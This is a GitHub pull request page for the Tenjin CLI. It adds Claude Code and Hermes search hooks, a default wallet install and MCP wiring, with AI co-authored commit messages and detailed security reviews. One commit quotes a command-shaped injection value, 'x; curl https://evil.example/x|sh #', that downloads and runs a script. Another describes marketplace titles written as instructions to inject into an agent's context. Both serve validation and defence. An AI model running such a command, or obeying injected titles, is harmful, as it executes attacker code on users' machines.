feat(install): add native Hermes retrieval and publish-back hooks - #113
feat(install): add native Hermes retrieval and publish-back hooks#113A1igator wants to merge 35 commits into
Conversation
…ck when it is A MISS was the one moment the demand a searcher just expressed could still be met, and the only thing said about it was a nudge about candidates already parked, which is silent on exactly the machine that has never parked one. Every fresh MISS now carries the invitation: one stderr line for a human and a `publishBack` object in the `--json` envelope with the searchId and both closing commands. That object is the single CLI-owned key in what is otherwise the server's response verbatim, and it is absent on a CANDIDATES decision, so the contract-shaped path is byte-identical to what it was. The local search store gains per-search resolution so the loop can be seen to close: an outcome report, a candidate publish, or a parked candidate records who closed it, first writer wins, and the mark is best-effort bookkeeping that never throws and never fails the verb that ran. A bare file publish cannot name the search it answers, so it deliberately leaves the loop open. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…minder Two standalone Node scripts and the writer that registers them in Claude Code's settings.json. A PreToolUse hook matched to WebSearch (never WebFetch) asks the marketplace the same question the agent is about to ask the web, on a hard two-second budget, and mentions a tested answer with its price and a free `tenjin inspect` command. A Stop hook checks locally, with no network call, for a MISS from the last eight hours that nothing has closed, and raises it once. Fail-open is the contract, not an aspiration. Both emit only `hookSpecificOutput.additionalContext` and never a `permissionDecision`, so neither can block, deny, or modify a tool call; a miss, a timeout, a dead network, a malformed payload and an unreadable config all end in exit 0 with nothing on stdout and nothing on stderr, and a watchdog leaves the process even if a socket ignores the abort. Server text is stripped of control characters before it can reach a model's context, and stdout is written synchronously so exiting cannot truncate the JSON the harness is parsing. They are generated scripts rather than a `tenjin hook` subcommand because a hook on the critical path must not pay for a CLI boot, and they must not depend on a dist layout an upgrade can move. Only the data dir is baked in; `baseUrl` and the new `hooks.searchMode` config key are read on every run, so `tenjin config set hooks.searchMode off` disarms them with no re-install. The settings writer carries the same invariants as the permission writer: additive only, refuses a file it cannot understand rather than repairing it, resolves symlinks before committing, and refuses a change that landed mid-run. Ownership is by script filename, so a re-install is idempotent and a moved data dir rewrites our entry in place instead of duplicating it. Shell quoting branches on the platform, because a home directory with a space would otherwise install a hook that can never run. The nag record lives in its own hook-owned file rather than in searches.json: the hook runs outside the CLI with no access to that store's lock, and losing a nag is cheaper than erasing a search. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A run with nobody to ask used to skip the free-verb allowlist and the setup that
follows it, which meant the machine most likely to be denied mid-task was the one
that got the least. The allowlist and the search hooks are now written by default
when there is no one to ask, `--no-allow-free-verbs` and `--search-hooks off` are
the opt-outs, and every run that writes says how many rules landed, in which
file, and that removing those lines undoes it. The grant itself is untouched: a
fixed free tier that cannot spend, cannot open the keystore, and cannot widen.
Two reporting defects go with it. The headless arm short-circuited ahead of the
probe, so a re-run against an already-permissioned home reported `added: []` and
`alreadyPresent: []` whatever the file actually held; the probe now runs on every
path that might write, which is also what keeps the interactive consent gate from
re-adding a rule revoked between two reads. And every skipped permissions state
carries a `fix` naming the exact command, the same contract a CliError carries.
The wallet stays interactive-only, because a machine run has never created a key.
What changes is that the skipped decision is visible: the envelope now reports
`wallet: { status: "not-offered", reason: ... }` rather than omitting the field,
and answering no is recorded as `declined` so a choice cannot be confused with a
question that was never put.
Search hooks become the third decision, so the walkthrough is four questions
rather than three. The mode is persisted, so `tenjin config set hooks.searchMode`
is enough to change it later.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ry flag
The tenjin-search entry gate was four numbered conditions an agent had to walk
before deciding whether to look anything up, which is a deliberation the decision
does not deserve. It is now one line ("public + durable + costly to reproduce,
then search first; otherwise just do the task"), with the four conditions kept
below as fine print for a close call.
Adds a short delegation block (tenjin-agent#109): which verbs a read-only
subagent may run, and which stay in a mutation-capable, human-gated context.
`outcome` is the one free verb held back, because it reports on the parent's
search and a subagent running it moves the marketplace signal on a decision it
did not make. `tenjin doctor` mirrors the rule in one line, beside the allowlist
an operator is reading when they decide what to hand a subagent.
The README documents every user-facing flag as a per-command table, which
surfaces `--artifact-type`, `--temporal-mode` and `--content-hash` for the first
time, and adds a config-key table and a search-hook reference. The prose those
tables replace is cut rather than kept beside them.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The hook POSTed to the search endpoint on its own, so everything it learned died with the process: a MISS it found never entered local state, the Stop hook could not see it, and publish-back worked only for explicit `tenjin search` runs. The hook was answering the question the loop was built to notice and then throwing the answer away. It now writes every search it performs into the same store `tenjin search` uses, tagged `source: 'websearch-hook'` against `'cli'` for deliberate searches, hits included so a later purchase attributes back and `buy <resourceId>` can resolve the payable read URL. ONE store, not parallel state: the script cannot import the CLI's lock, so it honors the identical protocol (an atomic-mkdir directory, no stale-stealing) and a test runs the real script concurrently against the real recorder to prove neither write is lost. It gives up on a contended lock in 400ms and stays silent, because recording is bookkeeping and the WebSearch is the user's actual work. The Stop hook now treats the two sources differently, since they are not equally worth an agent's attention. A deliberate search nobody answered is named on its own line with its searchId. Searches the hook rode along with are batched into one line, at most three: nobody vetted those questions for the marketplace, and only the agent can tell which produced a durable public finding. The hook never makes that judgment; it has no way to. Adds `hooks.stopNag on|off` beside `hooks.searchMode`, both read from config on every run, so either hook is silenced by one `config set` with no re-install and nothing to unwire. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
`buy` and publishing back after a MISS both need a key, so an install that leaves the machine walletless is a setup that stops at the first useful thing an agent tries. A wallet is now created on both paths; an interactive run still asks and still defaults to yes, and `--no-wallet` is the opt-out. The headless path uses the passphrase policy the CLI already enforces: an explicit TENJIN_WALLET_PASSPHRASE, else a strong generated passphrase written to the platform's OS credential store and verified by reading it back. With neither available it creates NOTHING and reports skipped/no-passphrase-store with both remedies named. There is deliberately no plain-file fallback, because a passphrase stored beside the keystore it unlocks protects nothing and an install is not the place to invent one. A wallet that cannot be created never fails the install: the skills, hooks and permissions this run wired are useful without one. A created wallet is disclosed rather than merely reported: the address, that it holds $0, that funding is a human step no part of this CLI can perform, and that the key is encrypted at rest and never leaves the machine. `not-offered` is gone, replaced by `skipped` with a reason and a fix; `declined` still means somebody said no. Adds `--no-hooks`, which registers nothing for one run and writes no config. That is deliberately not `--search-hooks off`, which is a durable statement and persists `hooks.searchMode`. The install test fixture now injects the passphrase seam on EVERY path. Without it a headless install in the suite would create a real wallet, and on macOS that writes into the developer's own login keychain under the `tenjin-cli` service. Creation itself is stubbed by default so the ~140 tests that are not about the wallet do not each pay for a scrypt derivation; the wallet tests opt into the real creator against a fake keychain. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Documents that everything is on by default on both paths with a per-item opt-out, the two runtime hook toggles and that they need no re-install, the wallet passphrase policy including the deliberate absence of a plain-file fallback, and the `--no-hooks` / `--search-hooks off` distinction. Adds `hooks.stopNag` to the config table. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
… side The WebSearch hook script reimplements src/lib/lock.ts because it runs standalone and cannot import it, yet writes the CLI's searches.json. Two writers of one file that disagree about the mutex have no mutex, and nothing pointed the next person changing one copy at the other. Both sites now carry a MUST-UPDATE-TOGETHER comment naming the other, and this is the test those comments promise. Five cases, each aimed at a specific drift rather than at a race going the wrong way: a lock held at the path the CLI computes stops the script dead, the same run records once it is released, a successful run leaves no lock behind, a lock the script did not take is never stolen however stale it looks, and five concurrent CLI writers plus the script lose no entry between them. Verified by mutation rather than by assertion alone. Pointing the script at a different lock path fails four of the five; making it steal a stale lock fails three; making it leak the lock fails two, one of them by timing the CLI out. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.
…rocess.env
"uses TENJIN_WALLET_PASSPHRASE when it is set" flaked in a full run and passed in
isolation. The cause was the test steering the passphrase source with
`vi.stubEnv`, because there was no other way to: `createWalletLocked` read
`process.env` directly and `PassphraseOverrides` deliberately omits `env`. Vitest
does not restore env stubs between files, so a stub of that variable is a
process-wide edit shared with every other file in the same worker.
`wallet create` now takes `env` as an option, defaulting to process.env, and
`install` threads its existing `deps.env` into it. The test steers the passphrase
through that seam and mutates nothing global; no install test touches process.env
any more.
The shared install fixture also pins `env: {}`, which is load-bearing in the other
direction: an ambient TENJIN_WALLET_PASSPHRASE, from a developer's shell or leaked
by another file, would reroute the passphrase away from the OS store these tests
assert on and make the keychain assertions vacuous. Removing that line and running
the file with such a variable set fails three tests, which is how it was verified.
Adds the mirror case, that with no passphrase in the environment the store is the
source, so both branches of the policy are pinned rather than one.
Full suite run three times consecutively: 1708 passed, 10 skipped, each time.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Codex already got this line in its AGENTS.md on every install, so leaving Claude
Code's copy behind `--claude-md` left the harness most people run as the one that
never learned to search first. It is now written by default on both paths, with
`--no-claude-md` as the opt-out and `--claude-md` kept as a redundant affirmative.
Still not a question: it is one idempotent marker line, a smaller consequence
than the four decisions, and its existing disclosure and undo already ride the
walkthrough (verified by a test that a bare run prints both).
The line's text also caught up with the skill it mirrors. It used to name example
categories ("version-specific compatibility, integration gotchas, benchmarks,
dated probes"), which reads as a checklist to work through at exactly the moment
an agent should be deciding in a second. It now carries the single heuristic the
tenjin-search entry gate collapsed to. The two must stay in sync: this line is
what a harness reads when the skill is not in play.
Because the marker upsert rewrites a drifted line in place, an existing install
picks up the new wording on its next run rather than accumulating a second line.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
vraspar
left a comment
There was a problem hiding this comment.
Review: three majors before merge — YAML corruption on non-2-space configs, wallet auto-create fires on a weak signal without consent, and an unguarded create aborts install unrecoverably
Reviewed at 884a58d (delta over #112). The three majors were verified by hand against the checked-out head, not taken from a reviewer on faith.
What's solid:
MCP_ENTRYis a fixed constant with zero interpolation, so no path or env value can inject YAML.- Both Hermes writes go through
writeFileAtomicwith0o600/0o700and same-directory temp+rename. - The policy numbers match the PR body exactly (
maxAutoSpend 250000,sessionBudget 5000000,confirm above:250000,publish.mode auto), and confirmation/budget enforcement stays in the CLI's own spend path (evaluateSpendPolicy), not in a skippable layer. - Wiring is idempotent in the shapes it handles: second runs return
up-to-datewith no duplicate YAML child or env line, and a differing user-owned 2-spacetenjin:entry conflicts byte-identically.
Major
-
[security/integrity] Guard the
mcp_serverschild indentation before splicing; a non-2-space block gets corrupted into unparseable YAML:planHermesMcplocates the root and unconditionally splices the fixed 2-spaceMCP_ENTRY, never inspecting the indentation the existing children use (src/lib/hermes.ts#L149-L153). Confirmed against js-yaml from this worktree: 4-space children producebad indentation of a mapping entry; a user-ownedtenjin:entry at 4-space indent slips past the/^ {2}tenjin:/probe (#L138) so the conflict path is bypassed and a duplicate key is written; sequence-style and tab-indented blocks also break. This directly contradicts the module docstring's promise that ambiguous YAML is reported as a conflict, and the corrupted file takes the user's whole Hermes config down. Fix: before splicing, check the first non-blank, non-comment child line matches/^ {2}\S/and returnconflict(...)otherwise; add hermes.test.ts cases for 4-space children, a 4-spacetenjin:, and a sequence block assertingconflictplus a byte-identical file. -
[security] Gate wallet auto-create on a stronger Hermes signal and on consent: the trigger is
harnessDetectedBy(...), which fires onexistsSync(hermesHome)ORwhich('hermes')(src/lib/skill-wiring.ts#L101-L111), andhermesis also the React Native JS-engine binary name. A Claude-only machine with that binary on PATH gets~/.hermes/{skills,config.yaml,.env}, apolicyProfiles.hermesautonomy block, and a freshly minted encrypted key it never asked for. The call passesautoCreate = true, which skipsWALLET_QUESTIONentirely — even at a TTY — removing decision 3 of the documented walkthrough (src/commands/install.ts#L418-L421); it also breaks the stated invariant that a machine/JSON run never creates a key. Fix: require a Hermes-shaped home (hermesConfigPathexists) or an explicit--harness hermesbefore auto-creating, and keep the confirm whenevercanPromptis true; test both. -
[integrity] Isolate the wallet step; a passphrase failure aborts the whole install and every re-run fails identically: the auto-create call is unguarded, and on a headless host with no
TENJIN_WALLET_PASSPHRASE, no credential store, and no TTY,resolvePassphraseForCreatethrowsnoPassphraseError()(src/lib/wallet/passphrase.ts#L283) — exactly the always-on server this feature targets. Skills, config.yaml, .env, and the policy profile are already written by then, the embedded doctor run and summary never happen, and the error text does not mention--no-wallet. Fix: wrap the create in try/catch, record{status:'none', reason}plus a warning naming bothTENJIN_WALLET_PASSPHRASEand--no-wallet, let install complete; add a test with a rejectingcreateWalletasserting success plus the warning.
Minor
-
[integrity] A relative
HERMES_HOMEthrows on a baretenjin installbefore detection even runs:resolveHermesHomeis called unconditionally unless an explicit--harnesslist excludes hermes, so a Claude-only machine with a stray relativeHERMES_HOMEcannot install at all. Fall back (with a warning) instead of throwing on the no-flag path. src/commands/install.ts#L361 -
[security/ops] Prefer an absolute path for the MCP
commandand probe PATH in doctor's Hermes check:command: "tenjin"resolves against whatever PATH Hermes has at launch — systemd/launchd starts often lack the npm global bin (server silently fails to start), and whoever can prepend to that PATH substitutes the binary that signs payments. src/lib/hermes.ts#L199 -
[copy-vs-behavior] Drop the "your harness still shows each command for approval" clause from the Hermes publish summary: this install wires Tenjin as an MCP server, so publish arrives as a tool call, not a shell command — the clause that makes
autosound safe is false for exactly this target. src/commands/install.ts#L657
Nits (2), none blocking
src/lib/hermes.ts:7—HERMES_MCP_SERVER_NAMEis exported and unused.src/commands/install.ts:1096—dirname(plan.skillsDir)re-derives whatHarnessPlancould carry ashermesHome; eightdirnamecalls where one field would do.
Verified, not issues
- No YAML content injection: the written entry is a constant;
HERMES_HOMEnever reaches the file body. TENJIN_HARNESSis written only into$HERMES_HOME/.envand the MCP entry'senv:map — it does not leak into Claude/Codex processes.- Auto-publish keeps its hard gate:
scan.tsblockfindings refuse publish in every mode and are not--yes-clearable; untouched by this PR. - Multi-harness installs keep working: claude/codex/hermes plans are pushed independently and deduped by skills dir.
- Existing wallets are never replaced;
--no-walletis honored on the paths that reachresolveWallet.
Decision (owner): this PR makes presence-detection (a directory or a binary) enable autonomous spend and auto-publish by seeding policyProfiles.hermes plus a wallet, with no recorded consent and no revocation gesture (tenjin config --profile hermes --disable or similar). Majors 2 and 3 shrink the blast radius, but whether detection alone may ever activate autonomy — versus requiring an explicit --harness hermes once — is a product call that should be made deliberately, together with #112's TENJIN_HARNESS caveat-surface note.
Verdict: comments-only; not ready until the three majors land. Ran: hand-verification of all three majors against the head checkout (YAML splice paths, detection trigger, unguarded throw path); reviewer ran focused hermes/install/doctor test files at head, passing.
Brings in #106 (outcome echoes the targeted search and refuses an impossible status) and #107 (de-spam doctor, verify the wallet, reorder install output). Every conflict resolved to keep BOTH sides: - search-store.ts: purely additive. main's `paidBrowseCount` sits beside our `source` and `resolved`, so the coherence gate and the open-loop tracking both have their fields. - outcome.ts: main's `resolveTarget` / `assertOutcomeCoherent` / question echo, plus our `markSearchResolved`. The mark stays AFTER the post, so a report the new gate refuses leaves the loop open for the Stop hook to raise. - install.ts: main's #101 ordering wins, and our decisions join it. All FOUR decisions run first, then doctor collects over the machine they produced, which matters more with our defaults than it did without them: a headless run now creates a wallet, and a doctor snapshot taken earlier would report "No wallet" for a wallet that exists. #80's no-wallet suppression is re-expressed over our richer status set (`declined` and `skipped` both mean the summary already said it; `created` and `existing` never suppress). - permissions.ts: main deleted `renderPermissionsBlock` in favour of a single pointer line, so our delegation guidance moved with the rest of the prose to docs/agent-permissions.md and doctor keeps exactly ONE closing line (#81), which now names delegation alongside the allowlist. - cli.ts: main's absolute permissions URL and wallet-verification wording, with our "the default" framing for `--allow-free-verbs`. - outcome.test.ts: main's suite taken whole, our resolution tests re-added on its fixtures, plus the combinations neither side had. - README.md: our per-command tables kept, main's `### doctor` section and its install-ordering wording folded in. Also aligns our delegation prose with #107's corrected tier claim: the free tier cannot spend and cannot MOVE YOUR KEYS, rather than cannot open the keystore, since `doctor` now decrypts locally to verify the wallet opens. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.
|
Addressed all review feedback in
Validation: typecheck, lint, repository-wide Prettier, production build, focused suite (407 passed), and full suite (1,718 passed / 10 skipped), including eval-harness localhost tests. |
--allow-free-verbs and --claude-md are now the default; they stay parseable because released doctor output and docs name them, but they earn no help line. The tier claim and permissions URL move to the visible --no-allow-free-verbs. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…hook prompt as a decline Operator changes 1 and 3 on #115. A non-interactive install left `publish.mode` unset (effective `review`) while the interactive select recommends `auto`, so the one decision governing what the agent puts on a public marketplace was the only one where headless and an interactive all-yes disagreed. Headless now settles and persists the recommended mode. An already-configured mode is respected, `--publish-mode` still wins, and a dry run settles nothing. A test pins the headless answer equal to the select's first choice, so the two cannot drift apart and quietly falsify the parity claim. Cancelling the search-hooks prompt used to resolve to `auto`, register both hooks and persist the mode: the only Escape in the walkthrough that wrote anything. It now behaves like `--no-hooks` for that run, registering nothing and writing no config, and an answer the schema does not recognize is treated the same way. The comment that claimed this all along, and the question copy, now say what happens. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…the settings guard Operator changes 2, 7, 8 and 9 on #115. The hint rendered a publisher-authored title inline as an authoritative sentence, so an instruction-shaped title arrived in a trusted context reading like an instruction. `clean()` strips control bytes and cannot make prose inert, so the framing does that instead: the title is quoted, the line reads as a listing ("Tenjin lists a paid answer titled ..."), and a trailing note attributes quoted titles as marketplace-authored text. Pinned with a rendering test whose title is literally an override attempt. Script writes move BEHIND the settings compare-and-swap. They used to run before it, so a `changed-since-read` refusal had already replaced the bodies that existing entries were running while reporting that nothing was registered. They still land before the entry that points at them, so no harness ever reads an entry naming a file that is not on disk. Verified by mutation: restoring the old order fails the new test. Also caps the stored `resourceId` and `price` the way `title` was already capped, so a hostile base URL cannot bloat searches.json an entry at a time, and corrects two claims the review caught: the hard bound on either hook is the harness's own `timeout: 5` kill rather than the event-loop watchdog, and the Stop hook raises a loop once per turn-end rather than once ever, since two sessions ending together can duplicate a line. No lock: the cost is one duplicate line and a cross-process wait at every turn end would buy nothing else. HOOK_SCRIPT_VERSION 2 -> 3. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Operator changes 4 and 5 on #115. `outcome` is in the free-verb allowlist, so carving it out of the subagent-safe set in the delegation block was an inconsistency with no rationale behind it. The skill and the permissions page now list all nine, with the caveat widened to say that `search` and `outcome` both POST off-machine. The doctor pointer's own comment no longer describes a split that does not exist. The README states the flag rule in one line above the install table: `--no-*` are this-run opt-outs that write no config, `--publish-mode` and `--search-hooks` are provisioning flags that persist. That is why `--no-hooks` and `--search-hooks off` differ, which previously needed a footnote. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Direction update from the harness-integration architecture decision. This PR will not merge as-is, but much of it is wanted. Plan: Keep (salvage): the Hermes detection ( Drop:
Add (the piece this PR never had): the retrieval-reflex hooks. Register #115's hook scripts in Out of scope here: wallet-provider coupling of any kind. Buying stays with the Tenjin wallet under spend policy (a one-shot Rework this PR in place or close it and open the reworked one — author's choice. Rough size: 3-5 days including a short Hermes hook-format spike (their docs, not assumptions). ECC was evaluated and rejected as a generator for this: see #121. |
…quoted frame Display path only: the stored projection keeps the title verbatim. Script version to 4 so re-runs refresh installed copies. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
I’ve started the requested rework and agree with the keep/drop boundaries: retain Hermes detection, skills, additive MCP YAML wiring, atomic/idempotent/dry-run behavior, and doctor coverage; remove the #112 policy-profile dependency, The hook-format spike found an upstream blocker in the proposed shell-hook shape:
I’m not going to ship a configuration that looks wired but silently does nothing. The viable current implementation is a native Python plugin under I’m also holding the shared-core port until #115 resolves the two newly-open trust/write findings, so this PR does not copy a permissive response parser or stale-snapshot settings writer. Please confirm native plugin versus upstream wait. Once settled, I’ll rebuild this branch on #115 (not #112), retain the accepted Hermes integration, and update the title/body around the actual boundary. |
…r rendering it Round-3 major 1 on #115. The generated hook talks to whatever origin `baseUrl` names, so its response is untrusted input, and the fields it carries are ACTIONABLE: a resourceId is interpolated into a command the agent is invited to run, and a url is a payable pointer a later `buy` resolves. It accepted any object, coerced every non-CANDIDATES decision to MISS, and control-cleaned then TRUNCATED ids and urls, which does not shorten them so much as invent different ones that still look legitimate. A hostile origin returning `x; curl https://evil.example/x|sh #` landed it outside the quoted-title frame. The script now enforces the same invariants as src/lib/agent-api.ts, and drops rather than repairs: uuid searchId (else the whole record goes), exact CANDIDATES/MISS decision (else silent), uuid resourceId, a url that parses AND shares the request origin, an atomic price or '0'. Candidates are capped at SEARCH_LIMIT before anything is examined, so a ten-thousand-candidate response costs what a two-candidate one does. The display loop now reads the validated projection rather than the raw response, so an id that failed validation cannot reach the hint even if the two loops drift. Found while testing: `\d` inside the TypeScript template literal that generates the script is an unrecognized escape and collapses to a bare `d`, so the emitted regex was /^d{1,39}$/ and every price read as non-atomic. Fixed, and the other two regexes in the generated bodies audited for the same class. Adversarial coverage: command-shaped resourceId reaches neither hint nor store, oversized and malformed searchIds drop the record, a 10k-candidate response stores at most SEARCH_LIMIT, off-origin and unparseable urls are dropped, every malformed decision is silent, a non-atomic price stores '0'. HOOK_SCRIPT_VERSION 4 -> 5. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…fore the writes Round-3 major 2 on #115. The guard compared settings.json, then awaited two script read/write/rename sequences, then replaced the whole file from the snapshot taken before them. A Claude Code or installer write landing during `writeScripts` passed the comparison and was erased at the final rename. There are now two compares and both earn their place. The early one refuses before a byte is written, so the ordinary contended case costs nothing and leaves nothing half-done. The second sits immediately before the atomic rename and closes the window the first cannot see. On a mismatch the refusal reports the scripts that WERE refreshed, so the result describes what happened instead of claiming nothing was touched; the bodies are versioned and idempotent, so a refreshed script with no new entry is inert and the re-run the fix names simply registers it. The test interleaves a concurrent settings write during `writeScripts` and proves the other writer's bytes survive verbatim. Verified by mutation: removing the second compare fails it. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.
|
Thanks for re-running all seven rather than reading the delta, and for checking the loader claims against upstream independently. The new minor is fixed in New minor —
|
vraspar
left a comment
There was a problem hiding this comment.
Re-review: the status split lands, with one wrong verb in the new warning
Reviewed at 6936304, delta over f9ad137. One commit, fix(hermes): report a withheld write as skipped, not disabled, touching 7 files. Nothing outside the reported scope changed: the delta is the status enum, the warning it feeds, the comment cleanup, and their tests.
Resolved since round 3
- Minor,
disabledconflated "not written this run" with machine state:HermesWriteStatusgained a distinctskipped, and the fix went past the ask: a newsurvivingPluginNotenames what an earlier run left behind and whether it still runs. Verified across all three paths: a--no-hooksre-run over a working install reportsplugin: skipped, activation: skippedand warns that the enabled plugin "is still in ... and keeps running", while doctor reportsinstalled/enabledfor the same home, so the two surfaces now agree instead of contradicting; withhooks.searchMode: offthe note correctly reads "stays inert whilehooks.searchModeis off", which is true because the generated scripts re-read the mode on every invocation; on a fresh machine with nothing pre-existing the note is correctly absent. - Nit, comments narrating review history: gone from the Hermes surface.
hermes.ts,skill-wiring.ts,skill-heal.ts,hermes.test.ts, andinstall.test.tsno longer contain "used to" or "flagged at review time", and each comment now states the invariant instead of the incident. The changeset reads as current truth ("rewrites the managed block in place", "tolerates a relativeHERMES_HOME") rather than "now X instead of Y". The remaining "used to" hits ininstall.ts/doctor.ts/doctor.test.tsare pre-existing from earlier PRs and out of scope here.
New
Nits (1)
survivingPluginNotesays "Remove it" for a command that removes nothing. The--no-hooksbranch ends "Remove it withtenjin config set hooks.searchMode off", but that command makes the plugin inert; it does not delete__init__.py,plugin.yaml, or theplugins.enabledentry, and nothing in this codebase does:hooksUndois Claude-only, and no path unlinks the plugin directory. The other branch of the same function already words the identical end state correctly as "stays inert whilehooks.searchModeis off". Worth fixing because it is the one misstatement left in the commit whose whole purpose is to stop reporting an action as a state: an agent that runs the suggested command and reports the plugin removed would be wrong. One clause, e.g. "Make it inert with ...". hermes.ts#L266-L276
Verdict: approve once the "Remove it" clause is reworded. Everything from rounds 2 and 3 is closed and re-verified, the branch is MERGEABLE on main, CI passes, and there are no open majors or minors. The single nit is a one-clause copy fix and does not need another review round. Ran at 6936304: typecheck clean, lint clean, 341 focused tests passing, plus hand-verification of the three withheld-write paths and a check that no removal path exists.
Review 4903100505. `tenjin config set hooks.searchMode off` makes the plugin inert; it deletes neither the plugin directory nor the `plugins.enabled` entry, and no command in this CLI does. The other branch of the same function already worded that end state correctly, so an agent following 'Remove it' would report a removal that never happened. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.
|
Reworded in The clause is now "Make it inert with `tenjin config set hooks.searchMode off`". I checked the removal claim before rewording rather than assuming: nothing in the CLI unlinks the plugin directory or the Diff is 2 files, +7/-1. Gates at |
vraspar
left a comment
There was a problem hiding this comment.
Re-review: the reword landed; the branch has gone conflicting on main
Reviewed at f6aa89f, delta over 6936304. One commit, two files, 7 insertions and 1 deletion. Nothing outside the reported scope changed.
Resolved since round 4
- Nit, "Remove it" promised something no command does: the note now reads "Make it inert with
tenjin config set hooks.searchMode off", which is true and matches how the sibling branch already worded the same end state. The commit also pins it from both directions: a test asserts the warning containsMake it inert withand does not match/\bRemove it\b|\buninstall\b/i, so the wording cannot drift back, and a comment records why inert is the strongest thing on offer.
New
- The branch no longer merges: #125 landed on
mainand touchessrc/lib/hook-scripts.ts, which this PR also modifies.mergeableflipped from MERGEABLE to CONFLICTING since the last round; the merge base is still 12ccf95 and the only new commit onmainis 5cc75d2. One file conflicts. The textual collision is essentiallyHOOK_SCRIPT_VERSION, whichmainmoved 9 → 11 and this branch moved 9 → 10; the two feature changes otherwise sit in different regions of the file, so this is a small resolution rather than a re-think. Two notes for the resolution:HOOK_SCRIPT_VERSIONis only interpolated into the generated script's comment header and gates nothing, so the number is cosmetic, but it should land at 12 rather than understating at 10. And #125's new session scoping deserves a deliberate look rather than a blind "take both".
Verified, not issues
- Hermes publish-back survives the merge. #125 stamps searches with
session_idand filters the Stop nag by it, and the Hermes envelope carries nosession_idon either script. Both directions are fail-open by construction:ownedByThisSessionreturns true when the hook has no session, and an unstamped entry matches every session. So Hermes keeps working after the merge; it simply is not session-scoped, which is the direction #125's own comment calls safe. Forwardingsession_idfrom the Hermes kwargs (Hermes passes it to bothpre_tool_callandtransform_llm_output) would restore scoping and is a clean follow-up, not a blocker.
Verdict: approve once rebased. There are no open majors, minors, or nits: everything from rounds 2 through 4 is closed and re-verified, and CI is green on the current head. The branch is CONFLICTING, which is a merge gate on its own (not a regression by the author; main moved when #125 merged). Suggested resolution: rebase onto main at 5cc75d2, take both hunks in hook-scripts.ts with HOOK_SCRIPT_VERSION = 12, re-run CI. If the resolution is exactly that, no further review round is needed; if it touches behavior, ping for a delta look. Ran at f6aa89f: typecheck clean, lint clean, 294 focused tests passing across hermes, install, and doctor.
#125 (5cc75d2) landed and touches src/lib/hook-scripts.ts, which this branch also modifies. One textual conflict: HOOK_SCRIPT_VERSION, which main moved to 11 and this branch to 10. The merged body carries both changes and so is neither, so it lands at 12; the constant is only interpolated into the generated script's comment header and gates nothing, but understating it would misdate the body. #125's session scoping was checked rather than taken blindly. It is fail-open in both directions for the Hermes envelope: the plugin sends no session_id, so sessionIdOf returns null and recordSearch leaves the entry unstamped, and ownedByThisSession returns true both for a null session and for an unstamped entry. Hermes publish-back therefore keeps working, machine-global rather than session-scoped. Forwarding session_id from Hermes' kwargs would restore scoping and is left as a follow-up rather than smuggled into a merge commit. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Re-merged Resolution. Exactly the one you suggested, with the version at 12: On #125's session scoping. Took your note as a prompt to read it rather than take both hunks blindly, and your analysis holds in both directions. The Hermes plugin sends So Hermes publish-back keeps working, machine-global rather than session-scoped. Forwarding Nothing else changed. Gates at |
vraspar
left a comment
There was a problem hiding this comment.
Re-review: the rebase resolution is exactly right; main moved again and the merge now needs three fixes
Reviewed at ff17ef6, delta over f6aa89f.
Resolved since round 5
- The #125 resolution is the mechanical one prescribed, with nothing smuggled in.
HOOK_SCRIPT_VERSION = 12, both sides ofhook-scripts.tspresent (#125'ssessionIdOf/ownedByThisSessionand #113'sIS_HERMESenvelope). The Hermes surface is byte-identical across the merge:hermes.ts,hermes.test.ts,skill-wiring.ts,skill-heal.ts,skill-wiring.test.ts, and the changeset show a zero-line diff. The only non-#125 change is two README rows, and both are #125's own publish flags (--search-id,--excerpt), not Hermes content.
New
- [merge] The branch is one commit behind
mainand does not compile against it. The merge base is 5cc75d2;mainis now 00fd79e (#129).README.mdis the only textual conflict, but merging #129 locally and typechecking produced two real errors, so this is not a docs-only resolution:src/lib/uninstall.ts(275): Expected 2 arguments, but got 1: #129's newremoveSkillscallsskillsDirsFor(homeDir), and this PR madehermesHomerequired. This is the round-3 guardrail doing its job: it refuses to let a new caller silently miss the Hermes skills directory. Resolve it the wayskill-healdoes,skillsDirsFor(homeDir, resolveHermesHomeLenient(homeDir, env).home), which also makes #129's uninstall remove the Hermes skills.src/commands/install.test.ts(275): Property 'agentsMd' does not exist: #129 removed the AGENTS.md/CLAUDE.md footprint, so the Hermes install test'sexpect(h.agentsMd).toBeUndefined()assertion is now obsolete and should be dropped.
Follow-up, not a blocker
tenjin uninstallleaves Hermes debris. Once the compile error above is resolved correctly, uninstall does remove the Hermes skills (viaskillsDirsFor) and the shared hook scripts (viaremoveHookScripts). It does not remove~/.hermes/plugins/tenjin/, theplugins.enabled: [tenjin]entry, or themcp_servers.tenjinregistration. The failure is benign: the orphaned plugin invokes a deleted script, node exits non-zero,_runreturnsNone, and nothing is attached to the search: fail-open, as designed. But a command whose stated shape is the promise it makes should either remove those three or say it does not. Worth tracking against #129's uninstall rather than changing here.
Merge-order map (#128 / #131)
